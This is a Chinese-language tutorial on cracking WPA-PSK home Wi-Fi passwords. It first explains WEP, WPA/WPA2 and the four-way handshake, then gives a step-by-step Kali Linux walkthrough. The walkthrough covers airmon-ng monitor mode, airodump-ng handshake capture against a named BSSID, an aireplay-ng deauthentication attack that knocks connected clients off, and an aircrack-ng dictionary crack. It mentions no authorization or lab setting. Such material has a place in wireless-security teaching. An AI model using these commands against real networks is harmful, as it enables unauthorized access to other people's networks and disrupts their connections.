WPA-PSK无线网络破解原理与过程

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wifi 标准以及相应标准的特征汇总表
无线安全技术
1) WEP(Wired Equivalent Privacy有线对等保密)

最早的无线加密体制，由于算法的缺陷很容易被破解。抓包获取在数据流中明文传输的IV，再通过统计学方法用IV得到密钥。

2) WPA
在不升级硬件的前提下，WAP使用TKIP(Temporal Key Integrity Protocol临时密钥集成协议) 来实现WLAN的访问控制、密钥管理和数据加密来增强WEP的安全性。WPA加密算法有两个版本。
a) WPA = 802.1x + EAP + TKIP + MIC = Pre-shared Key + TKIP + MIC
b) WPA2 = 802.1x + EAP + AES + CCMP = Pre-shared Key + AES + CCMP

注：
802.1x + EAP、Pre-shared Key：身份校验算法
TKIP、AES：数据传输加密算法
MIC、CCMP：数据完整性校验算法

802.1x + EAP （工业级的，安全要求高的地方用。需要认证服务器）EAP 扩展认证协议，是一种架构，而不是具体算法。常见的有LEAP，MD5，TTLS，TLS，PEAP，SRP，SIM，AKA 其中的TLS 和TTLS 是双向认证模式。这种认证方式不怕网络劫持和字典攻击。
Pre-shared Key （家庭用的，用在安全要求低的地方。不需要服务器）。容易被字典攻击
WPA-PSK
1) WPA的四次握手过程
WPA 握手过程是基于802.1X 协议，使用eapol key进行封装传输。

a) AP初始化：
使用 SSID 和passphares作为入参，通过哈希算法产生PSK。在WPA-PSK 中PSK=PMK=pdkdf2_SHA1(passphrase, SSID, SSID length, 4096)

b) 第一次握手：
AP广播SSID，AP_MAC(AA)；
STATION 端使用接收到的SSID，AP_MAC和passphares使用同样算法产生PSK。

c) 第二次握手
STATION 发送一个随机数SNonce，STATION_MAC(SA)给AP；
AP端接收到SNonce、STATION_MAC(SA)后产生一个随机数ANonce，然后用 PMK、AP_MAC(AA)、STATION_MAC(SA)、SNonce、ANonce 用以下SHA1_PRF算法产生PTK，提取这个 PTK 前16 个字节组成一个MIC KEY。
PTK=SHA1_PRF(PMK, Len(PMK), “Pairwise key expansion”, MIN(AA, SA) || Max(AA, SA) || Min(ANonce, SNonce) || Max(ANonce, SNonce))

d) 第三次握手：
AP发送上面产生的ANonce给STATION
STATION 端用接收到ANonce 和以前产生PMK、SNonce、AP_MAC(AA)、STATION_MAC(SA)用同样的算法产生PTK。提取这个PTK 前16 个字节组成一个MIC KEY使用以下算法产生MIC值用这个MIC KEY 和一个802.1X数据帧使用以下算法得到MIC值
MIC = HMAC_MD5(MIC Key，16，802.1X data)

e) 第四次握手：
STATION 发送802.1X 数据帧，MIC给AP；STATION 端用上面那个准备好的802.1X 数据帧在最后填充上MIC值和两个字节的0（十六进制）然后发送这个数据帧到AP。
AP端收到这个数据帧后提取这个MIC。并把这个数据帧的MIC部分都填上0（十六进制）这时用这个802.1X数据帧，和用上面AP产生的 MIC KEY 使用同样的算法得出MIC’。如果MIC’等于STATION 发送过来的MIC。那么第四次握手成功。若不等说明则AP 和 STATION 的密钥不相同，握手失败了。

2) WPA—PSK破解原理
用我们字典中的Passphrase+SSID先生成PMK，然后结合握手包中的STA_MAC、AP_MAC、ANONCE、SNONCE计算PTK，再加上原始的报文数据算出MIC并与AP发送的MIC比较，如果一致，那么该PSK就是密钥。
破解过程
环境：Kali Linux 2.0、USB无线网卡
工具：Aircrack-ng

1) 第一步：把usb网卡插入虚拟机，并开启网卡到监听模式，命令如下：
airmon-ng start ra0 (ra0为无线网卡名称)

注：如果虚拟机无法识别无线网卡需安装驱动，教程链接：http://blog.csdn.net/swjtu100/article/details/50543260

2) 第二步：抓包查看所在区域无线网的状态，选择需破解的目标网络，命令如下：
airodump-ng ra0

3) 第三步：抓取目标网络的握手包，命令如下：
airodump-ng - c 1 –bssid EC:17:2F:FA:F0:CA - w /root/Desktop/ ra0

参数解释：-c：监听频道 –bssid 目标AP网络mac值 -w：保存监听事件的文件名

4) 第四步：重新打开一个terminal窗口，使用DEAUTH攻击使已经连接的客户端断开并重新连接，以产生握手包。（注意：抓握手包破解必须有合法的客户端才行）命令如下：
aireplay-ng -0 10 -a EC:17:2F:FA:F0:CA -c DC:EE:06:1F:BB:AF ra0

参数解释：- 0 deauth攻击 10：进行10次攻击 -a：AP的MAC地址 -c：已连接该AP的客户端MAC地址

当获取到握手包时会出现红框内的信息

5) 第五步：通过四次握手包和字典(metasploit自带的字典)破解密码，命令如下：
aircrack-ng -a2 -b EC:17:2F:FA:F0:CA -w /usr/share/metasploit-framework/data/john/
wordlists/password.lst /root/Desktop/-01.cap

参数解释：-a2 WPA的方法破解握手包 -w：字典路径 -01.cap：第四步中抓取的握手包文件名

破解成功！

参考：
http://www.freebuf.com/articles/wireless/58342.html
http://blog.csdn.net/ivan_/article/details/39205371
http://null-byte.wonderhowto.com/how-to/wi-fi-hacking/
http://lewiscomputerhowto.blogspot.in/2014/06/how-to-hack-wpawpa2-wi-fi-with-kali.html

WPA-PSK无线网络破解原理与过程

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